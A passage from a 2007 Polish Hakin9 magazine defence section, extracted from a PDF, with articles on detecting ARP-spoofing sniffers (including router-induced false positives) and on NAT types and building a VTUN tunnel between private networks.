go adresu IP) – możliwe fałszywe odwzorowa-
nie w tablicy ARP-cache u klienta

Rysunek 1.

Schemat sieci współdzielenia łącza przez dwa komputery

Host A

IP: 192.168.0.2

MAC: 00:00 06:07:08:09

Hub

Router

Host A

IP: 192.168.0.2

MAC: 00:00 06:07:08:09

Internet

hakin9 Nr 1/2007

www.hakin9.org

Obrona

ski, Maciej Szmit, „Zdalna detekcja
snifferów w Sieci switching ethernet”

http://m-szmit.republika.pl/Kaczoro-

wskiiszmit.pdf).  Programy  używane
przez  podsłuchujących  (arpspoof
w  linuxie  czy  WinArpspooofer  w

Windows)  zalewają  ofiarę  fałszy-
wymi  odwzorowaniami  ARP-reply,
które  modyfikują  jej  tablicę  ARP
cache  tak  że  zamiast  pod  prawdzi-
wy  adres  fizyczny,  przesyła  swo-
je  dane  pod  adres  wskazany  przez
napastnika.  Obrona  też  wygląda-
ła  prosto  –  wstarczy  wysłać  zapy-
tanie  ARP  request  i  policzyć  przy-
chodzące  odpowiedzi  (zakładając,
że  napastnik  nie  wyeliminował  ma-
szyny,  pod  którą  się  podszywa  np
za pomocą ataku DoS), ewentualnie
uruchomić  arpwatch,  który  będzie
śledził zmiany odzoworwań MAC/IP
i  w  razie  czego  przyśle  nam  alar-

mującą  wiadomość.  I  owszem  to
wszystko będzie działało, przynajm-
niej  dopóki  zdolny  administrator  nie
wpadnie  na  pomysł  zainstalowania
w serwerze zapasowej karty (lub co
gorsza kilku) podpiętej do tej samej
Sieci (fizycznej i logicznej, to jest uży-
wającej adresów IP z tej samej Sieci).
Podówczas z odwzorowaniami ARP
(i nie tylko) zaczną się dziać dziwne
rzeczy.  Jeśli  jeszcze  użyjemy  kom-
putera  z  systemem  Linux,  to  może
okazać się, że będziemy mieli po kil-
ka odwzorowań tego samego IP na
różne adresy MAC. Jeżeli będziemy
mieli do czynienia z sytuacją jak na
Rysunku 2 i zdecydujemy się na wy-
słanie np. żądania ICMP echo-requ-
est na IP pierwszej karty (ale umie-
ściwszy  je  w  ramce  zaadresowanej
adresem fizycznym drugiej karty) to
rezultaty mogą nas zaskoczyć.

Zatem w przypadku linuxa z ją-

drem 2.4 programy takie jak ARP-
analyzer podniosą fałszywy alarm.
Jeśli  spodziewamy  się  znaleźc  w
siecie tego typu zjawisko powinni-
śmy użyć kolejnej wersji programu
WinAntiSniffer wzbogaconej o wy-
krywanie  ARP-spoofingu  (może-
cie ją oczywiście znaleźć na krąż-
ku  dołączonym  do  pisma).  Wyko-
rzystuje  ona  fakt,  że  w  przypad-
ku  podsłuchu  ARP-spoofing  na
pewno nie dostaniemy odpowiedzi
ICMP  echo-reply  na  zestaw  MAC
ofiary/IP pirata (a dostaniemy taką
odpowiedź w przypadku serwea z
dwoma  kartami).  No  chyba,  żeby-
śmy  mieli  do  czynienia  z  dwoma
piratami,  którzy  podszywają  się
pod  siebie  wzajemnie.  Rozważa-
nia,  jak  wygladać  może  sytuacja
przy większej liczbie piratów pozo-
stawiamy  dla  Czytelników  o  moc-
nych  nerwach  (przypominając,  że
liczba dwuelementowych podzbio-
rów zbioru n-elementowego rośnie
z kwadratem n).

Dla lubiących proste rozwią-

zania:  istnieją  jeszcze  dwa  inne
sposoby wykrywania ARP-spoofin-
gu,  o  których  nie  wszyscy  muszą
wiedzieć.  Po  pierwsze  wystarczy
uruchomić polecenie traceroute na
adres,  co  do  którego  mamy  wąt-

Rysunek 3.

Konwersja ruchu multicast na unicast wykonywana przez router

Switch

pakiet C

pakiet A i B

pakiet D i E

pakiet A i B

pakiet D

pakiet G

pakiet E

pakiet F

Host B

IP: 192.168.134.2

MAC: 00:00:01:02:03:04

Uruchomiony sniffer

KROK 2 (pakiet C):

Odpowiedź ICMP na pakiet

A (ze względu na sniffer)

KROK 5 (pakiet G):

Na pakiet D (unicast) host

udziela odpowiedzi ICMP.

Router

IP: 192.168.134.254

KROK 3 (pakiet D i E):

W wyniku odebrania pakietu A

i B router generuje 2 pakiety

ICMP unicast (docelowy adres

MAC unicast i doselowy adres

IP unicast)

pakiet D:

MAC - 00:00:01:02:03:04

IP - 192.168.134.2

pakiet E:

MAC - 00:00:01:02:03:05

IP - 192.168.134.3

Host C

IP: 192.168.134.2

MAC: 00:00:01:02:03:05

Barak sniffera

KROK 4 (pakiet F):

Na pakiet E (unicast) host

udziela odpowiedzi ICMP.

Host A

IP: 192.168.134.1

KROK 1 (pakiet A i B):

Wysyłany pakiet ICMP multicast

(docelowy adres MAC multicast i

docelowy adres IP unicast

pakiet A:

MAC - FF:FF:FF:FF:FF:FF

IP - 192.168.134.3

Rysunek 2.

Serwer z zainstalowanymi dwiema kartami sieciowymi

pracującymi w jednej sieci logicznej LAN

Klient

IP: 192.68.0.3

IP: 192.68.0.1

Switch

Serwer z dwoma

interfejsami

hakin9 Nr 1/2007

www.hakin9.org

Obrona

pliwości (najczęściej będzie to ad-
res naszej bramy) – jeśli okaże się,
że  po  drodze  między  nami  a  do-
myślną  bramą  jest  jeszcze  jakieś
IP  to  zdecydowanie  mamy  powód
do  zmartwienia.  Oczywiście  ata-
kujący  może  spróbować  się  przed
tym  zabezpieczyć  (na  przykład  za
pomocą  reguły  podnoszącej  TTL
w  forwardowanych  pakietach,  ale
do tego trzeba już trochę się napra-
cować, w każdym razie na „gołego”
arpspoofa  i  WinARPSpoofera  ten
sposób wystarczy).

Warto też zainteresować się pa-

kietami  ICMP  redirect.  Ich  obec-
ność w Sieci może może nam zasu-
gerować, że oburzony system ope-
racyjny  pirata  (powiedzmy:  począt-
kującego pirata, który nie zabezpie-
czył się przed tym zjawiskiem) wy-
syła ofierze informacje „ja przecież
nie jestem routerem”. Niestety zale-
wanej  pakietami  ARP  reply  ofierze
wiele  to  nie  pomoże,  chyba  że  za-
lew  komunikatów  ICMP  da  admini-
stratorowi do myślenia. I znowu: wy-
kwalifikowany  pirat  powinien,  ale
przecież nie będziemy ułatwiać ży-
cia piratom.

W każdym razie uważajcie na

zwiększony ruch ICMP redirect
(tym bardziej, że może on świad-
czyć o jeszcze jednej metodzie ata-
ku, zwanej ICMP-redirect spoofing,
ale o tym już innym razem).

Problemy grupowe

Dla  administratora  wizja  kilku  pira-
tów w Sieci (jego Sieci!) podsłuchu-
jących się wzajemnie wydaje się być
rodem z koszmarnego snu. Nic dziw-
nego,  że  kiedy  zdarzyło  się  nam
zobaczyć  coś  podobnego  nie  mo-
gliśmy  uwierzyć  własnym  oczom.

Rysunek 4.

Pakiety przechwycone na hoście A (z uruchomionym WinAntiSnifferem) w przypadku badania hosta C

Rysunek 5.

Pakiety przechwycone na hoście A (z uruchomionym AntiSnifferem) w przypadku badania hosta B

Jak  się  okazało,  całkiem  słusznie.
Pamiętacie  testy  odpowiedzi  służą-
ce do wykrywania klasycznych snif-
ferów?  Jeśli  nie  pamiętacie,  to  zaj-
rzyjcie  do  archiwalnych  numerów

Hakin9u,  żeby  przeczytać  na  przy-
kład  artykuł  Maciej  Szmit,  Mariusz
Tomaszewski,  Marek  Gusta,  „Snif-
fing  dla  początkujących”,  „Software
2.0 Extra”, Nr 5/2003 str. 18-25, albo
–  jeśli  wolicie  skorzystać  z  Interne-
tu – to poczytajcie dokument  http://

m-szmit.repulika.pl/sis2002.pdf.

Testy, o których mowa spro-

wadzają  się  do  przesłania  do  po-
dejrzanego  komputera  odpowied-
nio  spreparowanej  ramki  (z  błę-
dym  adresem  docelowym  MAC),
w  której  umieszczony  jest  pakiet
zawierający  żądanie  odpowiedzi
(ARP Request lub ICMP Echo Re-
quest)  zaadresowany  adresem  IP
podejrzanego komputera. Z uwagi
na zaimplementowanie we wszyst-
kich  systemach  operacyjnych  wir-
tualne filtry pakietów (no – prawie
we  wszystkich,  w  Windows  Vista
Beta 2 o takich nie słyszeli) jedyny-
mi  adresami  MAC  odbiorcy  mogą
być niektóre z adresów multicasto-
wych (mowa o multicastach ether-
netowych,  czyli  adresach  MAC,
w  których  najmniej  znaczacy  bit
najbardziej  znaczacego  bajtu  jest
jedynką).

W przypadku Sieci wykorzy-

stującej  koncentratory  i  „zwykłe”
routery  (na  przykład  komputery
z  dwiema  kartami  sieciowymi  pra-
cujące  pod  kontrolą  systemu  ope-
racyjnego NetWare albo Linux, czy
też  routery  firmy  CISCO)  dziala-
nie  testów  jest  zgodne  z  oczeki-
waniem.  Jakież  jednak  było  na-
sze zdumienie, kiedy w w sieciach

wykorzystujących  tanie  routery
(a  właściwie  router-switche)  firm
D-Link oraz Lucent wszystkie kom-
putery  zaczęły  nagle  odpowia-
dać  na  testy  wykrywajace  sniffe-
ry. Okazało się, że winne są urzą-
dzenia,  których  działanie  w  zakre-
sie  obsługi  multicastów  jest  dość
niestandardowe.  Mianowicie  przyj-
mują  one,  że  w  przypadku  otrzy-
mania  ramki  zaadresowanej  gru-
powym  adresem  MAC,  należy  jej
zawartość przesłać dalej jako ram-
kę  unicastową,  przy  czym  adres
odbiorcy  ramki  jest  adresem  MAC
komputera, którego IP zawarte było
w pakiecie niesionym przez ramkę.

W przypadku wysłania multi-

castowej  ramki  zawierającej  bro-
adcastowy  pakiet  (a  tak  działają
testy odpowiedzi) urządzenie prze-
śle  do  Sieci  broadcastową  ramkę
z  broadcastowym  pakietem.  Me-
chanizm ten występuje w przypad-
ku,  gdy  przesyłany  jest  pakiet  IP
i  wyłącznie  wtedy,  gdy  multica-
stowy  MAC  jest  z  zakresu

FF:FF:

F F:F F:F F:00-F F:F F:F F:F F:F F:F E

(przynajmniej  w  przypadku  testo-
wych przez nas urządzeń D-Link).
Jest to zachowanie zbliżone nieco
do  zachowania  m-routera  (route-
ra  obsługującego  multicasty),  ale
zdecydowanie mniej doskonałe.

Konsekwencją jego jest – w przy-

padku testów odpowiedzi – fałszywe
wykrycie  (ang.  false  positive)  snif-
ferów  na  wszystkich  sprawdzanych
komputerach  w  segmencie  (kom-
putery  otrzymuja  pytanie  w  ramce
zaadresowanej  prawidłowym  –  uni-
castowym  adresem  MAC,  na  które
oczywiście  odpowiadają).  Dokład-
niej  –  w  segmencie  pojawiają  się
dwa pytania – jedno w ramce multi-

Huby w pajęczynach i złośliwe m-routery

hakin9 Nr 1/2007

www.hakin9.org

castowej  (na  które  odpowiadają  tyl-
ko  komputery  z  interfejsem  pracu-
jącym  w  trybie  promiscuous  –  o  ile
oczywiście są wrażliwe na ten rodzaj
testu) – oraz drugie (w ramce unica-
stowej).

Ramka unicastowa będzie za-

adresowana  fizycznym  adresem
MAC  interfejsu  komputera,  którego
adres IP był umieszczony w ramce
multicastowej. Zatem na ramkę uni-
castową odpowie określony kompu-
ter  nawet  jeśli  nie  pracuje  w  trybie
promiscuous (Rysunek 3).

Co gorsza, jeśli w Sieci jest wię-

cej  niż  jedno  tego  typu  urządzenie
(a  w  przeciwieństwie  do  stad  pira-
tów, to się zdarza się i to nawet dość
często  w  przypadku  podziału  Sie-
ci  wewnętrznej  na  kilka  podsieci
–  konfiguracja  stosowana  nagminnie
w  sieciach  akademickich  podzielo-
nych na pracownie studenckie) – licz-
ba ramek odpowiednio się zwiększa.
Rozwiązaniem problemu jest uprzed-
nie  zliczanie  multiplikacji  ramek

poprzez  wysłanie,  przed  uruchomie-
niem  właściwego  testu,  ramki  mul-
ticastowej  zawierającej  pakiet  ad-
resowany  do  komputera,  na  którym
będziemy  przeprowadzać  testy  (za-
zwyczaj  do  siebie)  i  zliczenie  przy-
chodzących  ramek  unicastowych.
Z kolei w testach odpowiedzi należy in-
formację o wykryciu sniffera umieścić
tylko w przypadku, gdy liczba przycho-
dzących odpowiedzi jest o jeden więk-
sza niż liczba wykrytych urządzeń.

Zatem rozważając sytuację z Ry-

sunku  3  należy  spodziewać  się  w
Sieci  pakietów  przedstawionych  na
Rysunku  4  (w  przypadku  badania
hosta  C  –  bez  sniffera)  oraz  na  Ry-
sunku  5  (w  przypadku  badania  ho-
sta B – ze snifferem). Najpierw z ho-
sta A wysyłane jest zapytanie ICMP
echo-request z adresem docelowym
IP  wskazującym  na  siebie  samego
w  ramce  multicastowej.  Jak  widać
drugi pakiet w Sieci to efekt zamiany
przez router pakietu multicast na uni-
cast. Następnie wysyłany jest pakiet
sondujący  na  adres  192.168.134.3
w  ramce  multicastowej    (host  C  nie
udzieli  na  niego  odpowiedzi,  gdyż
nie jest na nim uruchomiony sniffer).
W tym momencie w Sieci pojawi się
również  wygenerowany  przez  router
pakiet  ICMP  echo-request  unicast,
który  trafi  do  hosta  C  (pakietu  tego

nie można przechwycić na hoście A,
stąd nie widać go na rysunku). Host C
udziela odpowiedzi ICMP echo-reply
(pakiet nr 4). W efekcie można przy-
puszczać nie znając topologii i urzą-
dzeń pracujących w Sieci, że na kom-
puterze C jest uruchomiony sniffer
– nie jest to jednak prawda.

W stosunku do sytuacji z Rysun-

ku 4, teraz widać, że host B z uru-
chomionym snifferem udziela dwóch
odpowiedzi – na pakiet multicast (ze
względu na pracę w trybie promisc)
oraz na pakiet unicast wygenerowa-
ny przez router.

Rozwiązanie to zostało oczywi-

ście zaimplementowane w wersji 2.4
programu WinAntisniffer, który może-
cie znaleźć na załączonym do pisma
krążku CD-ROM.

Podsumowanie

Choć  zagadnienia  związane  z  pod-
stawami  obsługi  protokołów  siecio-
wych  wydają  się  czasami  trywialne
i  dobrze  znane,  często  okazuje  się,
że są to tylko pozory, a błędy i nie-
ścisłości  w  ich  implementacji  zda-
rzają się i najlepszym. Trochę to po-
cieszające,  kiedy  sami  łapiemy  się
na  tym,  że  kiedyś  napisaliśmy  coś
nie  do  końca  ścisłego,  albo  zapo-
mnieliśmy  o  jakichś  szczególnych
przypadkach. l

W Sieci

http://www.microsoft.com/technet/
prod-technol/windows2000serv/
r e s k i t / r e g e n t r y / 5 8 7 3 7 . m s p x ?
mfr=true.

www.hakin9.org

hakin9 Nr 1/2007

Obrona

odzina zero. Urządzeń korzystających
z publicznych adresów IP ciągle przy-
bywa. Z raportu ([1]) opublikowanego

w 2002 roku wynikało, że pula publicznych ad-
resów  internetowych  zostanie  wyczerpana  do
2005  roku.  Rok  2005  minął  spokojnie,  a  pro-
blem adresacji specjalnie nam nie doskwierał.
Nowe  raporty  przesuwają  datę  apokalipsy  na
lata od około 2010 do 2026. Pomimo tego, że
wg niektórych źródeł w roku 2012 nastąpi już
definitywnie koniec świata i problem dostępno-
ści  IP  zejdzie  na  drugi  plan,  ustępując  pierw-
szeństwa  problemom  egzystencjalnym,  warto
wiedzieć,  że  to  właśnie  rozwój  lokalnych  sie-
ci komputerowych przyczynił się między inny-
mi do przesunięcia momentu, kiedy nie będzie
można już podłączyć żadnego nowego kompu-
tera do sieci globalnej.

Problem IP i jego rozwiązanie

Aby dwa komputery mogły się ze sobą w In-
ternecie skomunikować, muszą posiadać pu-
bliczne adresy IP – głosi powszechnie znana
teza. Jednak nie jest ona do końca prawdzi-
wa. Z jednej strony prawdą jest, że krążące
w Internecie pakiety powinny mieć publicz-
ny adres źródłowy i docelowy, co pociąga

za  sobą  konieczność  istnienia  dwóch  kom-
puterów posiadających zewnętrzne IP – jed-
nego nadającego a drugiego odbierającego.
Z  drugiej  strony  istnieją  mechanizmy,  które
potrafią  umożliwić  maszynom  posiadającym
lokalną adresację bezproblemową komunika-
cję z dowolnym adresem IP. Jednym z takich
mechanizmów  jest  właśnie  NAT  (Network

Address Translation) czyli translacja adre-

Sieci nie tak znowu lokalne

Konrad Malewski

stopień trudności

Szybki przyrost ilości komputerów na świecie powodują, że

zmniejsza się ilość wolnych adresów IP. Najczęściej stosowane

rozwiązanie czyli NAT pomimo swoich zalet, posiada również

wadę. Jest nią brak możliwości tworzenia połączeń pomiędzy

komputerami znajdującymi się w różnych sieciach lokalnych.

Z artykułu dowiesz się...

• Jak działa NAT;
• Jakie są rodzaje NAT i jakie są ich właściwo-

ści;

• Jakie są techniki nawiązywania bezpośrednich

połączeń UDP oraz TCP pomiędzy lokalnymi
sieciami.

Co powinieneś wiedzieć...

• Powinieneś znać model ISO/OSI;
• Powinieneś mieć ogólne pojęcie o zasadzie

działania sieci TCP/IP;

• Powinieneś mieć ogólne pojęcie o programo-

waniu gniazd sieciowych.

Wszystko o NAT

hakin9 Nr 1/2007

www.hakin9.org

sów  sieciowych.  NAT  nie  jest  je-
dynym  mechanizmem  tego  typu.
Do umożliwienia surfowania można
na  przykład  użyć  serwerów  proxy
czy też wykorzystać protokół RSIP.
Rozwiązania  alternatywne  często
są  wykorzystywane  w  miejscach,
w których ten, kto udostępnia Inter-
net  chce  mieć  pełniejszą  kontrolę
nad przesyłanymi danymi.

Translacja adresów

NAT jest obecnie jednym z najczę-
ściej  stosowanych  mechanizmów
służących  do  udostępniania  połą-
czenia  internetowego  w  sieciach
lokalnych. Jest to mechanizm spraw-
dzony,  dość  dobrze  przetestowa-
ny  i  zrealizowany  lepiej  lub  gorzej
w szerokiej gammie routerów sprzę-
towych.  Istnieją  oczywiście  dar-
mowe  implementacje  programowe
NAT – natd czy iptables. Stosowanie
tego  rozwiązania  posiada  następu-
jące cechy:

• NAT oszczędza pule adresów

– wiele komputerów może posia-
dać jeden adres publiczny, pod
którym będą widoczne;

• Udostępnianie Internetu dodat-

kowym maszynom wymaga jedy-
nie przekonfigurowania routera.
Nie istnieje potrzeba dokupywa-
nia dodatkowych adresów u ISP;

• Stosując NAT w firmie łatwo zmie-

nić dostawcę internetowego;

• NAT automatycznie tworzy swo-

jego rodzaju firewall, który nie
pozwala na niekontrolowane łą-
czenie się komputerów z interne-
tu z tymi w sieci lokalnej;

• NAT nie wymaga specjalnej kon-

figuracji aplikacji na komputerach
klientów.

Niestety oprócz licznych zalet uży-
wając NAT warto pamiętać również
o jego niedostatkach:

• Stosowanie NAT przy dużej licz-

bie komputerów i jednym adresie
powoduje najrozmaitsze proble-
my, które niekoniecznie wskazu-
ją na konkretną przyczynę;

• Aby działać poprawnie, niektó-

re usługi wymagają publicznego

adresu IP lub/i wymagają dedy-
kowanego portu;

• NAT wymaga więcej zasobów

(pamięć, CPU) niż rozwiązanie
oparte wyłącznie na routingu;

• Niektóre protokoły nie działają

dobrze w środowisku z NAT (np.
ftp, ipsec).

Istnieje szereg rodzajów NAT:

•   Jednokierunkowy NAT;
•   Dwukierunkowy NAT;
•   NAT z translacją portów;
•   Dwukrotny NAT.

Różnice  pomiędzy  poszczególnymi
rodzajami  NAT  oraz  zasadę  dzia-
łania  najlepiej  pokazać  za  pomo-
cą  przykładu.  Załóżmy,  że  w  sie-
ci  istnieje  komputer,  który  posia-
da  lokalny  adres  192.168.19.100
i jest podłączony do Internetu przez
NAT,  którego  adres  publiczny  to
157.158.181.42.  Co  się  dzieje,  gdy
komputer  z  lokalnym  adresem  IP
chce się połączyć np. z komputerem
o adresie 157.158.180.200? W przy-
padku  NAT-a  komputer  z  lokalnym
IP używa maszyny z usługą NAT ja-
ko domyślnego routera, więc chcąc
nawiązać  jakąkolwiek  komunikację
poza  LAN  wyśle  do  niego  pakiety.
Przy przejściu pakietu przez router
zostanie zamieniony adres źródłowy
pakietu na adres publiczny routera.
Komputer, do którego dotrze pakiet
po  zmianie  adresu  zobaczy  połą-
czenie nie z adresu 192.168.19.100,
ale z 157.158.181.42.

Jednokierunkowy NAT charak-

teryzuje się tym, że komputer z po-
za sieci lokalnej nie może nawią-
zać połączenia do wewnątrz LAN.

Rysunek 1.

Uproszczony model sieci

Komputer z publicznym

adresem IP

Komputer z lokalnym

adresem IP

INTERNET

Sieć lokalna

Router z NAT

Komputer z lokalnym

adresem IP

Komputer z lokalnym

adresem IP

Komputer z lokalnym

adresem IP

Rysunek 2.

Zasada działania NAT pokazana na przykładzie NAT

jednokierunkowego

Komputer A

IP: 192.168.19.100

Src: 192.168.19.100

Src port: 3000

Src: 157.158.181.42

Src port: 3000

Src: 157.158.180.200

Src port: 5000

Src: 157.158.180.200

Src port: 5000

Src: 157.158.181.42

Src port: 5000

Src: 157.158.180.100

Src port: 5000

Komputer R1

IP: 157.158.181.42

Komputer C

IP: 157.158.180.200

hakin9 Nr 1/2007

www.hakin9.org

Obrona

Wszystkie  próby  nawiązania  połą-
czenia  do  routera  są  przetwarzane
jako  próby  połączenia  z  samą  ma-
szyną routera.

Taką funkcjonalność umożliwia

dwukierunkowy NAT. Jeśli kompu-
ter 157.158.180.200 wyśle pakiet do
157.158.181.42, to router zamieni ad-
res docelowy na ten z sieci lokalnej.
Komputer lokalny zarejestruje połą-
czenie z adresu 157.158.180.200.

Autorzy poszczególnych imple-

mentacji NAT starają się, by pakie-
ty przechodzące przez router były

modyfikowane  w  jak  najmniejszym
stopniu. I tak np., jeżeli klient NAT w
sieci lokalnej próbuje ustanowić po-
łączenie zewnętrzne i używa do te-
go celu portu źródłowego X, to NAT
będzie starał się użyć portu źródło-
wego X po translacji adresu IP. Aby
zrozumieć zasadność istnienia NAT
z  translacją  portów  należy  rozwa-
żyć  następujący  przypadek:  co  się
stanie  jeśli  dwóch  klientów  będzie
próbowało otworzyć połączenie ze-
wnętrzne i będą używać tego same-
go portu źródłowego? NAT powinien

jak najmniej ingerować w zawartość
przepływających pakietów, ale w tej
sytuacji nieingerowanie spowoduje,
że po translacji połączenia staną się
nierozróżnialne od siebie (oba uży-
wałyby portu X jako źródłowego).
Jeżeli NAT wykryje taką sytuację, to
dokona translacji portu i w przypad-
ku drugiego połączenia NAT oprócz
adresu IP zmieni również port źró-
dłowy.

Skoro istnieje możliwość zamia-

ny adresu i portu źródłowego, to nic
nie stoi na przeszkodzie, aby zamie-
niać również adres docelowy. Zamie-
nianie  adresu  docelowego  ma  sens
między  innymi  w  sytuacji,  w  której
chcemy połączyć dwie sieci, których
adresy  nakładają  się.  Jeśli  chcieli-
byśmy  umożliwić  komunikację  po-
między tymi dwoma sieciami to albo
musielibyśmy  zmienić  adresy  w  jed-
nej z nich, albo zastosować podwójny
NAT na routerach, zamieniając adre-
sy sieci tak, aby się nie nakładały.

Istnieją podziały NAT ze względu

na inne kryteria, jednakże na chwilę
obecną poprzestaniemy na tym po-
dziale.

Rysunek 3.

Zasada działania dwukierunkowego NAT

Komputer A

IP: 192.168.19.100

Src: 192.168.19.100

Src port: 3000

Src: 157.158.181.42

Src port: 3000

Src: 157.158.180.200

Src port: 5000

Src: 192.168.19.100

Src port: 5000

Src: 157.158.180.200

Src port: 5000

Src: 157.158.180.200

Src port: 5000

Src: 157.158.181.42

Src port: 5000

Src: 157.158.180.200

Src port: 5000

Komputer R1

IP: 157.158.181.42

Komputer C

IP: 157.158.180.200

Rysunek 4.

NAT z translacją portów

Komputer A

IP: 192.168.19.100

Scr: 192,168.19.100

Src port: 3000

Dst: 157,158.19.200

Dsc port: 5000

Scr: 157.158.181.42

Src port: 3000

Dst: 157.158.180.200

Dst port: 5000

Scr: 157.158.181.42

Src port: 3000

Dst: 157.158.180.200

Dst port: 5000

Scr: 192.168.19.101

Src port: 3000

Dst: 157,158.19.200

Dst port: 5000

Komputer A'

IP: 192.168.19.101

Komputer R1

IP: 157.158.181.42

Komputer C

IP: 157.158.180.200

Rysunek 5.

Podwójny NAT

Komputer A

IP: 192.168.19.100

Src: 157.158.181.42

Src port: 3000

Src: 157.158.180.200

Src port: 5000

Src: 157.158.180.200

Src port: 5000

Src: 157.158.180.200

Src port: 5000

Komputer R1

IP: 157.158.181.42

Komputer S'

IP: 157.158.191.236

Wszystko o NAT

hakin9 Nr 1/2007

www.hakin9.org

Problem bezpośrednich

połączeń

Obecność  maszyny  pośredniczą-
cej w wymianie pakietów oraz lokal-
na  adresacja  znacząco  komplikuje
klasyczny  schemat  nawiązywania
połączeń  pomiędzy  komputerami
znajdującymi się w różnych sieciach
lokalnych.  Większość  NAT  używa-
nych  obecnie  to  NAT  z  translacją
portów. O ile nie ma większych pro-
blemów  z  nawiązaniem  sesji  kom-
putera w LAN z serwerem posiada-
jącym publiczne IP, o tyle wszystkie
żądania połączeń z sieci zewnętrz-
nej  zostaną  odrzucone  przez  ro-
uter łączący komputer z Internetem.
Nawet  jeśli  mamy  dostęp  do  konfi-
guracji  routera  i  zastosujemy  prze-
kierowanie  portu  do  sieci  lokalnej,
to  i  tak  nie  rozwiązuje  to  wszyst-
kich  problemów,  ponieważ  można
przekierować port jedynie do jedne-
go adresu. Czasami przekierowanie
jednego  portu  może  być  idealnym
rozwiązaniem,  ale  co  w  przypadku
kiedy  administrator  naszej  lokalnej
sieci  nie  ma  ochoty  zmieniać  kon-
figuracji routera, a w dodatku doce-
lowa maszyna również znajduje się
za NAT. Z pomocą przychodzą nam
różne  techniki,  przy  użyciu  których
możemy  ustanowić  bezpośrednie
połączenia  i  nie  będziemy  musie-
li  zawracać  głowy  naszemu  admi-
nistratorowi.

Prosty sposób na P2P

Jeśli  jeden  z  komputerów  posiada
publiczny  adres  IP,  to  problem  po-
łączenia  w  jedną  stronę  praktycz-
nie nie istnieje. Komputer z publicz-
nym adresem IP jest osiągalny bez-
pośrednio,  więc  połączyć  się  z  nim
można  tak  samo,  jak  z  każdym  in-
nym w Internecie. Połączenie w dru-
gą stronę sprawia już więcej proble-
mu. Aby je umożliwić należy odwró-
cić schemat połączenia. A mianowi-
cie  komputer  z  publicznym  IP  mu-
si  zażądać  połączenia  od  kompu-
tera  zza  NAT.  Skoro  nie  może  zro-
bić  tego  bezpośrednio,  to  musi  ist-
nieć  komputer  pośredniczący,  po-
przez który do maszyny za NAT zo-
stanie przesłane żądanie połączenia
(Rysunek 6).

Rozwinięciem tego pomysłu, się-

gającego jeszcze czasów Napste-
ra, jest przesyłanie danych poprzez
pośrednika sieciowego, który posia-
dałby publiczny adres IP. Klienci, za-
miast łączyć się bezpośrednio ze so-
bą, łączą się z serwerem, który two-
rzy tunel łączący dwie sieci.

Pomysł ten nosi nazwę TURN

(skrót ang. Traversal Using Re-

lay  NAT).  Rozwiązanie  to  jest  dość
uniwersalne,  a  na  dodatek  bardzo
skuteczne (Rysunek 7). Posiada jed-
nak pewne wady, a mianowicie wyma-
ga  dedykowanego  serwera  pośred-
niczącego  oraz  protokołu  wymiany
danych  oraz  informacji  sterujących
tunelem.  To  ostatnie  wymusza  ist-
nienie  warstwy  pośredniej,  z  którą
komunikowałaby się aplikacja chcą-
ca  przesłać  dane.  Jeżeli  rozwiąza-
nie to miałoby zostać wykorzystane
na większą skalę np. gdyby na jego
bazie  chcieć  świadczyć  usługi  jako
uniwersalny  pośrednik  sieciowy,  to
należy  się  liczyć  również  z  proble-
mami natury prawnej.

Zestawiamy VPN

Dla własnej potrzeby możemy jed-
nak w bardzo szybki sposób zesta-
wić tunel takiego typu. W najprost-
szym  przypadku  musimy  jedynie
posiadać  uprawnienia  administra-
tora  na  maszynie  z  publicznym
adresem  IP.  Do  stworzenia  tunelu

pomiędzy  komputerami  A  i  B  uży-
jemy  VPN  o  nazwie  VTUN.  VTUN
umożliwia  stworzenie  na  kompu-
terze  za  NAT  wirtualnego  interfej-
su  sieciowego,  który  połączy  go
z  drugim  komputerem.  Od  strony
routera  łączącego  A  z  internetem
tunel  widoczny  jest  jako  jedno  po-
łączenie  A  z  komputerem  C.  Do-
datkowo  VTUN  umożliwia  szyfro-
wanie  przesyłanych  danych.  Alter-
natywnym  rozwiązaniem  i  ponie-
kąd uważanym za bezpieczniejsze
jest OpenVPN, który dostępny jest
nawet na platformę Windows. Jed-
nak  ze  względu  na  prostotę  konfi-
guracji w tym przykładzie zostanie
użyty VTUN. Po pomyślnej instalacji
VTUN, należy skonfigurować usłu-
gę pracującą na maszynie serwera
(w tym przykładzie niech będzie to
maszyna  C),  oraz  na  maszynach
klientach (A i B).

Na maszynie C plik konfiguracyj-

ny (Listing 2).

Plik konfiguracyjny na hoście A

jest stworzony analogicznie do hosta
B. Różnią się wyłącznie nazwą sekcji
(hosta  zamiast  hostb)  oraz  adresem
IP tunelu (10.1.0.2). Większość opcji
w  pliku  konfiguracyjnym  jest  samo
komentująca  się.  Obszerną  doku-
mentację  jest  domyślny  plik  konfigu-
racyjny dostarczony wraz z oprogra-
mowaniem.  Znaleźć  tam  można  do-
kładny opis każdego z parametrów.

Rysunek 6.

Schemat odwróconego połączenia

Żądanie połączenia

INTERNET

Połączenie

hakin9 Nr 1/2007

www.hakin9.org

Obrona

Mając już przygotowane pliki

konfiguracyjne uruchamiamy serwer
VTUN na kompuerze C:

vtund -s -f vtun-srv.conf

oraz na komputerze A:

vtund -f vtun-hosta.conf -p hosta
157.158.180.200

i na koniec na komputerze B:

vtund -f vtun-hostb.conf -p hostb
157.158.180.200

Jeśli wszystko poszło dobrze, to ser-
wer C powinien posiadać dwa dodat-
kowe interfejsy – tap0 łączący C z A
oraz tap1 łączący C z B.

Teraz wystarczy ustawić regu-

ły  routingu  pozwalające  na  komuni-
kację A z B oraz włączyć przekazy-
wanie pakietów pomiędzy interfejsa-
mi tap0 i tap1 na hoście C. Routing
na  A  i  B  możemy  ustawić  na  dwa
sposoby.  Można  do  tego  celu  użyć
standardowej komendy route, lub też
bardziej zaawansowane ip z pakietu

iproute. Zaletą używania polecenia
ip jest możliwość ustawienia adre-
su źródłowego, który będzie używa-
ny do osiągnięcia danej sieci. Na ho-
ście A wywołujemy:

ip route add 192.168.18.0/24 dev
tap1 src 192.168.19.100

Na hoście B:

ip route add 192.168.19.0/24 dev
tap1 src 192.168.18.200

Natomiast hosta C uczymy przeka-
zywania pakietów oraz żądań ARP
i tego gdzie znajdują się sieci lokal-
ne A i B.

Po wykonaniu powyższego zbio-

ru komend tunel powinien już dzia-
łać. Wysyłanie pakietów ping ko-
mendą

ping 192.168.18.200

wywoła-

ną na hoście A powinno spowodo-
wać przyjście pakietów ICMP Echo
Reply z hosta B.

Niektóre programy (na przykład

nmap)  nie  respektują  parametru  src
polecenia  ip  i  używają  adresu  IP  in-
terfejsu, przez który wychodzą pakie-
ty.  Pakiety  dochodzące  do  drugiego
